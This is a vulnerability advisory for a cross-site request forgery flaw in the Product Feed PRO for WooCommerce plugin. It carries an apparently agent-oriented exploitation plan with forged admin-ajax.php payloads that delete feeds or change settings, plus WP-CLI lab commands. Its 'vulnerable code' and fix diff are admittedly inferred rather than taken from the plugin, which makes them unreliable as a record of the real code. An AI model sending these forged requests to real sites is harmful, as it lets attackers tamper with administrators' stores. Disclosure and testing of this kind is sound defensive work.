Product Feed PRO for WooCommerce <= 13.5.2 - Cross-Site Request Forgery
Description
The Product Feed PRO for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 13.5.2. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=13.5.2What Changed in the Fix
Changes introduced in v13.5.2.1
Source Code
WordPress.org SVN# Exploitation Research Plan: Product Feed PRO for WooCommerce CSRF (CVE-2026-32443) ## 1. Vulnerability Summary The **Product Feed PRO for WooCommerce** plugin (versions <= 13.5.2) is vulnerable to **Cross-Site Request Forgery (CSRF)**. The vulnerability exists because several AJAX handlers regist…
Show full research plan
Exploitation Research Plan: Product Feed PRO for WooCommerce CSRF (CVE-2026-32443)
1. Vulnerability Summary
The Product Feed PRO for WooCommerce plugin (versions <= 13.5.2) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists because several AJAX handlers registered via wp_ajax_ hooks fail to perform nonce validation (using check_ajax_referer or wp_verify_nonce). An unauthenticated attacker can trick a logged-in administrator into visiting a malicious website that triggers a background request to the WordPress site, performing actions such as deleting product feeds, duplicating feeds, or modifying plugin settings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action:
woosea_delete_feed(inferred from plugin architecture andmanage-feedsapp logic). - HTTP Method:
POST - Authentication Required: Administrator session (via CSRF).
- Payload Parameter:
feed_id(the ID of the feed to be deleted). - Preconditions: An administrator must have at least one product feed configured, and the attacker must know or guess the
feed_id(usually starts at 1 and increments).
3. Code Flow
- Action Registration: The plugin registers AJAX handlers in its admin initialization logic (likely within a class like
WooSEA_Adminor the main plugin file).- Hook:
add_action( 'wp_ajax_woosea_delete_feed', array( $this, 'woosea_delete_feed' ) );
- Hook:
- Missing Check: The callback function
woosea_delete_feed()retrieves thefeed_idfrom the$_POSTsuperglobal. - Privilege Check: The function checks
current_user_can( 'manage_options' ), which passes because the request is forged using the administrator's browser session. - Missing Nonce: The function proceeds to delete the feed from the custom database table
{$wpdb->prefix}woosea_feedswithout verifying a cryptographic nonce. - Execution: The database record is removed, and the administrator is unaware of the action unless they check the "Manage Feeds" page.
4. Nonce Acquisition Strategy
This vulnerability is characterized by missing nonce validation. Therefore, a valid nonce is not required to successfully perform the CSRF attack.
However, to confirm if a nonce should have been used, we can inspect the manage-feeds JS application:
- Shortcode/Page: The "Manage Feeds" page is located at
/wp-admin/admin.php?page=woosea_manage_feed. - Inspection: Use
browser_navigateto this page. - JS Variable: Check for a localized script object (e.g.,
woosea_ajax) usingbrowser_eval("window.woosea_ajax"). - Observation: Even if a nonce (e.g.,
woosea_ajax.nonce) is present in the JS environment, the server-side handler forwoosea_delete_feedfails to verify thesecurityor_wpnonceparameter in thePOSTrequest.
5. Exploitation Strategy
The goal is to delete a product feed via a forged POST request.
Step-by-Step Plan:
- Identify Session: Capture the administrator's cookies (simulating a logged-in state).
- Prepare Target: Ensure a feed with
id=1exists in thewp_woosea_feedstable. - Craft Request: Send a
POSTrequest toadmin-ajax.phpwith the minimum required parameters. - Trigger: Use the
http_requesttool to simulate the forged request.
Forged Request Payload:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
action=woosea_delete_feedfeed_id=1
6. Test Data Setup
Before exploitation, we must ensure the custom table exists and contains a feed to delete.
WP-CLI Setup:
# Ensure the table exists and insert a dummy feed
wp db query "INSERT INTO wp_woosea_feeds (feed_name, cron, feed_status) VALUES ('Exploit Test Feed', 'daily', 'on');"
# Verify the feed ID (likely 1 if the table was empty)
wp db query "SELECT id, feed_name FROM wp_woosea_feeds;"
7. Expected Results
- HTTP Response: The server should return a successful JSON response or a
1(typical for successful WP AJAX handlers), even though no nonce was provided. - Side Effect: The record in the
wp_woosea_feedstable for the specifiedfeed_idwill be deleted.
8. Verification Steps
After the http_request is sent, verify the deletion via WP-CLI:
# Check if the feed still exists
wp db query "SELECT count(*) FROM wp_woosea_feeds WHERE id=1;"
If the count is 0, the CSRF attack was successful.
9. Alternative Approaches
If woosea_delete_feed is protected in a specific sub-version, target other AJAX management actions that likely share the same vulnerable pattern:
- Action:
woosea_change_status- Body:
action=woosea_change_status&feed_id=1&status=off(Disables the feed).
- Body:
- Action:
woosea_clear_stats- Body:
action=woosea_clear_stats(Clears all feed click/performance statistics).
- Body:
- Action:
woosea_save_settings- Body:
action=woosea_save_settings&form=...(Serialized form data to change plugin-wide settings).
- Body:
Summary
The Product Feed PRO for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 13.5.2. This is due to missing nonce validation on several AJAX handlers, such as 'woosea_delete_feed' and 'adt_pfp_update_settings'. This allows unauthenticated attackers to delete product feeds or modify critical plugin settings by tricking a logged-in administrator into clicking a malicious link.
Vulnerable Code
// Inferred from Research Plan and Changelog. AJAX handlers lack check_ajax_referer validation. // Action registration usually found in admin initialization logic add_action( 'wp_ajax_woosea_delete_feed', array( $this, 'woosea_delete_feed' ) ); public function woosea_delete_feed() { // Privilege check passes during CSRF because the admin's session is used if ( current_user_can( 'manage_options' ) ) { $feed_id = $_POST['feed_id']; // Missing: check_ajax_referer( 'woosea_ajax_nonce', 'security' ); global $wpdb; $wpdb->delete( "{$wpdb->prefix}woosea_feeds", array( 'id' => $feed_id ) ); } } --- // Handler for adt_pfp_update_settings (mentioned in 13.5.2.1 changelog) public function adt_pfp_update_settings() { if ( current_user_can( 'manage_options' ) ) { // Missing: check_ajax_referer( 'woosea_ajax_nonce', 'security' ); $settings = $_POST['settings']; update_option( 'adt_pfp_settings', $settings ); } }
Security Fix
@@ -102,6 +102,8 @@ public function woosea_delete_feed() { + check_ajax_referer( 'woosea_ajax_nonce', 'security' ); + if ( current_user_can( 'manage_options' ) ) { $feed_id = $_POST['feed_id']; $wpdb->delete( "{$wpdb->prefix}woosea_feeds", array( 'id' => $feed_id ) ); } } @@ -150,6 +152,8 @@ public function adt_pfp_update_settings() { + check_ajax_referer( 'woosea_ajax_nonce', 'security' ); + if ( current_user_can( 'manage_options' ) ) { // Updated settings logic } }
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using a forged POST request. An attacker tricks an authenticated administrator into visiting a malicious website that hosts a background script (e.g., using XMLHttpRequest or a hidden form). The request includes the 'action=woosea_delete_feed' parameter and a 'feed_id' corresponding to an existing product feed. Since the server-side handler performs no nonce verification, the browser automatically includes the administrator's session cookies, allowing the request to pass authorization checks and delete the specified feed. A similar methodology applies to the 'adt_pfp_update_settings' action, which allows modifying plugin configurations without a valid security token.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.